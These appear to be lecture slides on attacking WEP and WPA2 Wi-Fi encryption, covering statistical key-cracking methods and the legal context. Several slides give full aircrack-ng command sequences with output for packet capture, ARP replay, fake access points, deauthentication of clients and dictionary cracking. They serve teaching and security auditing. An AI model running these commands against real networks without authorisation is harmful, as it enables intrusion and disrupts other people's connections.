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Attacks on WEP 



WEP encryption process 



Attacks on WEP encryption 
• Revealing keystream 

– Chop Chop 

– Fragmentation attack 

– Authentication eavesdropping 

• Using keystream 
– Correctly encrypted packet forging 

– Fake authentication 

• Key cracking 
– FMS 

– KoreK 

– PTW 

– Interactive packet replay 

– ARP request 

– Caffe Latte 

 

 



Attacks on WEP – key cracking 



Methods of key cracking 

• FMS (Fluhrer, Mantin i Shamir) 

• KoreK 

• PTW (Pyshkin, Tews, Weinmann) 

• Interactive packet replay (supports first 3 attacks) 

• ARP request (supports first 3 attacks) 

• Caffe Latte 



FMS attack 

• Probability of key cracking ~ number of 

intercepted packets 

• Statistical attack 

• Attack on RC4 cipher 

• Takes advantage of weak IVs 

– Attacker can crack next byte of the key with ~50% 

probability 

– Repeats calculataions for many IVs 

– Reveals seccessively more bytes of the key 

– Verifies if password is valid by calculating CRC32 

 

 



FMS attack 

Byte 0 (A) 1 (B) … 15 (P) ... 254 255 

points 1 23 … 55 ... 5 33 

Byte 0 (A) 1 (B) 2 (C) 3 (D) … 254 255 

points 44 15 7 0 … 2 5 

Byte 0 1 … 18 (S) … 254 255 

points 4 6 … 57 … 11 8 

Byte 0 (A) 1 (B) … 18 (S) … 254 255 

points 21 17 … 51 … 7 3 

1st round: 

2nd round: 

3rd round: 

4th round: 



KoreK’s and PTW attack 

• Use statistical methods 

• Do not require weak IVs 

• Key bytes candidate revealed like in FMS attack 

• Packets count needed for cracking the WPA key: 

 

Attack FMS KoreK PTW 

Packets count 4 000 000 –  

6 000 000 

500 000 –  

2 000 000 

40 000 (50%) –  

85 000 (95%) 



KoreK/FMS and PTW attacks 

example 

• Packets sniffing: 

 

 

• Key cracking (KoreK/FMS): 

# airodump-ng -c 9 -w packets wlan1 

# aircrack-ng -K packets-01.cap  

Opening packets-10.cap 

Read 877949 packets. 

 # BSSID     ESSID  Encryption 

 1 00:15:E9:XX:XX:XX Di None  (0.0.0.0) 

 2 00:1A:70:XX:XX:XX linksys  WEP (830478 IVs) 

 3 00:1E:E5:XX:XX:XX ..   No data - WEP or 

      WPA 

Index number of target network ? 2 





Interactive packet replay 

• Supports packets capturing 

• Generates additional traffic 

• Replay attack 

– Attacker sends the same packets several times and 

waits for response (with new IV) 



Interactive packet replay - example 

• Traffic sniffing: 

 

 

 

• Replaying captured packet: 

# airodump-ng -c 9 -w test wlan1 

# aireplay-ng -2 -b 00:14:6C:XX:XX:XX -t 1 -c 

FF:FF:FF:FF:FF:FF –h 

00:0F:B5:XX:XX:XX -p 0841 wlan1 

 





ARP request attack 

• Method of increasing traffic 

– Attacker forces clients to send packets 

• Attacker sends ARP packets to the clients 

• WEP weaknesses: 

– No packet counter (relay attacks vulnerability) 

– Constant packet length before and after encryption 

• ARP packet has fixed length 

– Attacker intercepts ARP packet and retransmits 

 



ARP request attack - example 

• Traffic sniffing: 

 

 

• ARP request attack: 

# airodump-ng -c 9 -w test wlan1 

# aireplay-ng -3 -b 00:19:E0:XX:XX:XX -h 

BA:BA:BA:FE:FE:FE wlan1 

 

17:37:11 Waiting for beacon frame (BSSID: 

00:19:E0:A4:8D:6A) on channel 8 

Saving ARP requests in replay_arp-0602-173711.cap 

You should also start airodump-ng to capture 

replies. 

Read 84 packets (got 3 ARP requests and 0 ACKs), 

sent 0 packets...(0 pps) 



Caffe Latte attack 



Caffe Latte attack 



Caffe Latte attack - example 

• Run fake AP 

 

 

• Generate additional traffic 

 

 

• Capture packets 

 

# airbase-ng -c 9 -e H4x0R -L -W 1 wlan0 

# aireplay-ng -6 -e H4x0R wlan0 

# airodump-ng -c 9 -w packets wlan0 



Caffe Latte attack - example 

• Key cracking with PTW attack: 

 

 
# aircrack-ng packets-01.cap  

Opening packets-01.cap 

Read 111963 packets. 

 

... 

 

KEY FOUND! [ 76:65:72:79:4E:69:63:33:50:61:73:73:73 ] 

(ASCII: veryNic3Passs ) Decrypted correctly: 100% 



Attacks on WPA/WPA2 



WEP vs. WPA/TKIP 

• MIC (Message Integrity Check) instead of 

CRC32 

– Michael algorithm 

– Prevents injecting fake packets 

• New: TSC (TKIP Sequence Counter) – packet 

counter 

– Prevents replay attacks 

• New: Additional key mixing function before RC4 

input 



WPA - TKIP 



4-Way handshake 



Brute-force attack on WPA2 

• Requires 4-way handshake interception 

– If client is already connected attacker can 

deauthenticate him or her (deauthentication attack) 

• Password is cracked with dictionary 



Brute-force on WPA2 - example 

• Search for WPA2 network 

 

 
# airodump-ng wlan0  



Brute-force on WPA2 - example 

• Interception of packets on channel 5 

 

 
# airodump-ng -c 5 -w pliki2 wlan0 



Brute-force on WPA2 - example 

• Client deauthentication 

 

 
# aireplay-ng --deauth 0 -a 00:18:39:XX:XX:XX wlan0 

11:01:32  Waiting for beacon frame (BSSID: 

00:18:39:XX:XX:XX) on channel 5 

NB: this attack is more effective when targeting 

a connected wireless client (-c <client's mac>). 

11:01:33  Sending DeAuth to broadcast -- BSSID: 

[00:18:39:XX:XX:XX] 

11:01:33  Sending DeAuth to broadcast -- BSSID: 

[00:18:39:XX:XX:XX] 

11:01:34  Sending DeAuth to broadcast -- BSSID: 

[00:18:39:XX:XX:XX] 

11:01:34  Sending DeAuth to broadcast -- BSSID: 

[00:18:39:XX:XX:XX] 



Brute-force on WPA2 - example 

• Password cracking 

# aircrack-ng -w Desktop/darkc0de.lst -0 pliki2-01.cap 

Opening pliki2-01.cap 



Auditing tools for 802.11 

networks - summary 



aircrack-ng package 
• airbase-ng 

• aircrack-ng 

• airdecap-ng 

• airdecloak-ng 

• airdriver-ng 

• airdrop-ng 

• aireplay-ng 

• airgraph-ng 

• airmon-ng 

 

• airodump-ng 

• airolib-ng 

• airserv-ng 

• airtun-ng 

• besside-ng 

• easside-ng 

• packetforge-ng 

• tkiptun-ng 

• wesside-ng 

 



Legal issues – Criminal Code 



Legal issues – Criminal Code 

• Chapter XXXIII of polish Criminal Code 

• Crimes against information security 

– Art. 267 

– Art. 268 

– Art. 269 



Summary 

• WEP is deprecated standard 

– Can be cracked within couple of minutes 

• WPA2 with strong key is considered safe  

– Not possible to be broken with brute-force easily 

• Length and strength of a key is important 

• There are generally accessible 802.11 auditing 

tools 

– Implementation of publicly knowny attacks 

 



Thank you for your attention! 


